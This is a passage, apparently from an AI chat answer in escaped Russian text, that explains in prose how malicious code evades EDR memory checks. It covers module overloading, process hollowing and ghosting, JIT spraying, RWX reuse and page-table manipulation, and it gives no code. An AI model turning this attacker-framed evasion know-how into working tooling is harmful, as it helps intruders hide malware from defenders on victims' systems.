\u0441\u043b\u043e\u044f\u0445 \u2014 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u043b bypass/tamper.\u0414\u043b\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u044d\u0442\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0438\u0441\u0441\u043e\u0432. \u041e\u0431\u043e\u0439\u0442\u0438 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u0441\u0447\u0435\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u041e\u0421 \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430, \u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u0432 \u044d\u0442\u0438\u0445 \u00ab\u043e\u043a\u043d\u0430\u0445 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438\u00bb \u043a\u0440\u043e\u044e\u0442\u0441\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u0438.\n\n1. \u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 EDR \u0438\u0449\u0435\u0442 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u00ab\u0441\u043f\u0438\u0441\u043a\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435\u0439\u00bb (PEB) \u0438 \u00ab\u043a\u0430\u0440\u0442\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438\u00bb (VAD), \u0437\u0430\u0434\u0430\u0447\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u2014 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043b\u0438\u0431\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043b\u0438\u0431\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u0441\u043b\u0435\u0434\u043e\u0432 \u0432 VAD \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434.\n\nModule Overloading (\u041f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043a\u0430 \u043c\u043e\u0434\u0443\u043b\u0435\u0439): \u042d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0412\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d (MEM_PRIVATE), \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u0430\u043f\u043f\u0438\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e, \u043d\u043e \u043d\u0435\u043d\u0443\u0436\u043d\u0443\u044e DLL (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0430\u0440\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430). \u0417\u0430\u0442\u0435\u043c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044d\u0442\u0430 DLL \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e.\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: \u0412 VAD \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u043e\u043c\u0435\u0447\u0435\u043d \u043a\u0430\u043a MEM_IMAGE \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e. \u0412 PEB \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c. EDR \u0432\u0438\u0434\u0438\u0442 \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e\u00bb DLL, \u0445\u043e\u0442\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u0434.\nProcess Hollowing / Ghosting / Herpaderping: \u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 FileObject \u0438 \u0441\u0435\u043a\u0446\u0438\u044f\u043c\u0438. \u0418\u0434\u0435\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0435\u043a\u0446\u0438\u044e \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 (\u0447\u0438\u0441\u0442\u043e\u0433\u043e), \u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u0414\u043b\u044f VAD \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u043a \u0444\u0430\u0439\u043b\u0443, \u043f\u043e\u043a\u0430 EDR \u043d\u0435 \u043d\u0430\u0447\u043d\u0435\u0442 \u0432\u044b\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0443 \u043f\u0430\u043c\u044f\u0442\u044c \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0435\u0451 \u0441 \u0434\u0438\u0441\u043a\u043e\u043c.\nVAD Tagging Bypass (Proxying \u0447\u0435\u0440\u0435\u0437 JIT): \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e EDR \u0443\u0436\u0435 \u043f\u043e\u043c\u0435\u0442\u0438\u043b \u043a\u0430\u043a \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0440\u0435\u0433\u0438\u043e\u043d\u044b JIT-\u0434\u0432\u0438\u0436\u043a\u0430 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430). \u0415\u0441\u043b\u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u043a\u043e\u0434 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 RWX \u0440\u0435\u0433\u0438\u043e\u043d, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c chrome.exe, \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB/VAD \u043d\u0435 \u043f\u043e\u043a\u0430\u0436\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438 \u2014 \u044d\u0442\u043e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d \u0438 \u0442\u0430\u043a \u00ab\u0448\u0443\u043c\u043d\u044b\u0439\u00bb \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439.\n2. \u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 JIT-\u0434\u0432\u0438\u0436\u043a\u0438\nJIT-\u0434\u0432\u0438\u0436\u043a\u0438 (Just-In-Time) \u2014 \u044d\u0442\u043e \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0435 \u00ab\u0444\u0430\u0431\u0440\u0438\u043a\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430\u00bb. EDR \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043c, \u0438\u043d\u0430\u0447\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043d\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.\n\nJIT Spraying: \u0421\u0442\u0430\u0440\u0430\u044f, \u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u0438\u0448\u0435\u0442 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0435 \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 JIT-\u0434\u0432\u0438\u0436\u043e\u043a \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0412\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u043f\u043a\u043e\u0434\u044b. \u0417\u0430\u0442\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u043e\u043a\u043e\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Buffer Overflow) \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u044b\u0433\u0430\u0435\u0442 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0443 JIT-\u043a\u043e\u0434\u0430.\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u0414\u043b\u044f EDR \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e JIT-\u043a\u043e\u0434\u0430 \u0432 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435. \u0421\u0442\u0435\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0447\u0438\u0441\u0442\u044b\u043c, \u0442\u0430\u043a \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\nRWX Reuse: \u041c\u043d\u043e\u0433\u0438\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 JIT (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 V8) \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0443\u0439\u0442\u0438 \u043e\u0442 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e RWX, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434 RW -&gt; RX. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0438 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0447\u0430\u0441\u0442\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 (race conditions), \u043a\u043e\u0433\u0434\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f RWX. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043e\u043a\u043d\u043e \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0440\u0435\u0433\u0438\u043e\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 EDR \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u00ab\u0441\u0432\u043e\u0438\u043c\u00bb \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n3. \u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b (BattlEye, Easy Anti-Cheat, Ricochet) \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0443\u0440\u043e\u0432\u043d\u0435, \u0447\u0442\u043e \u0438 EDR (Ring 0), \u0438 \u0447\u0430\u0441\u0442\u043e \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0434\u0430\u0436\u0435 \u0431\u043e\u043b\u0435\u0435 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \u041c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0433\u043b\u0430\u0441\u043d\u043e\u0435 \u00ab\u043f\u0435\u0440\u0435\u043c\u0438\u0440\u0438\u0435\u00bb, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\u0445 \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\u0445.\n\nKernel-to-Kernel Interaction: \u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0440\u0430\u043d\u044c\u0448\u0435 EDR \u0438\u043b\u0438 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043a\u043e\u043b\u0431\u044d\u043a\u043e\u0432. \u041e\u043d \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u044f\u0434\u0440\u0430, \u043c\u0438\u043d\u0443\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 EDR \u0441\u0442\u0430\u0432\u0438\u0442 \u043d\u0430 user-mode API.\n\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0442\u0435\u043a\u0438 \u0438 syscalls: \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0440\u0435\u0432\u0435\u0440\u0441\u0430, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0435 \u043f\u0440\u043e\u043b\u043e\u0433\u0438/\u044d\u043f\u0438\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u044f\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b. EDR \u00ab\u043f\u0440\u043e\u0449\u0430\u0435\u0442\u00bb \u0438\u043c \u044d\u0442\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u0432\u043d\u0435\u0441\u0435\u043d \u0432 \u0431\u0435\u043b\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u0437\u0430\u0449\u0438\u0442\u044b.\nVAD/PTE Manipulation (Direct PT Modification): \u041f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0435 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043c\u0435\u043d\u044f\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0441\u0442\u0440\u0430\u043d\u0438\u0446 (PTE), \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u0434\u043b\u044f \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432, \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0430\u0442\u0443\u0441 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 \u0432 VAD. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u043c \u00ab\u0438\u0441\u0447\u0435\u0437\u0430\u0442\u044c\u00bb \u0438\u0437 \u043f\u043e\u043b\u044f \u0437\u0440\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0443\u0442\u0438\u043b\u0438\u0442 \u0438 EDR, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 API \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 (VirtualQuery).\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 HVCI (Hypervisor-Protected Code Integrity): \u0412 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 EDR \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440. \u0415\u0441\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0430\u0440\u0435 \u0441 \u0433\u0438\u043f\u0435\u0440\u0432\u0438\u0437\u043e\u0440\u043e\u043c, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0430\u043d\u043a\u043b\u0430\u0432\u044b \u043f\u0430\u043c\u044f\u0442\u0438, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u043b\u044f EDR \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u0447\u0442\u0435\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0439 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.\n\u0418\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434: \u041e\u0431\u0445\u043e\u0434 \u2014 \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u043e\u0438\u0441\u043a \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438. \u0415\u0441\u043b\u0438 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u00ab\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0448\u0443\u043c\u00bb (JIT), \u00ab\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb (\u0430\u043d\u0442\u0438\u0447\u0438\u0442) \u0438\u043b\u0438 \u00ab\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c\u00bb (Module Overloading), \u0432\u044b \u0432\u044b\u0438\u0433\u0440\u044b\u0432\u0430\u0435\u0442\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e \u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u043a\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 (Behavioral Engine) \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0443\u044e \u0444\u0430\u0437\u0443 \u0430\u0442\u0430\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0440\u0430\u0436\u0443 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438\u043b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432).\n\n\u0414\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0441\u0438\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0437\u0430 \u043b\u044e\u0431\u044b\u0435 \u0442\u0435\u0441\u0442\u044b \u0438 \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 Module Overloading?\n\n\n\u041c\u043e\u0436\u043d\u043e \u043b\u0438 \u043e\u0431\u043e\u0439\u0442\u0438 JIT-\u0434\u0432\u0438\u0436\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043e\u0442 EDR?\n\n\n\u041a\u0430\u043a EDR \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u043a\u043e\u0434 \u043e\u0442 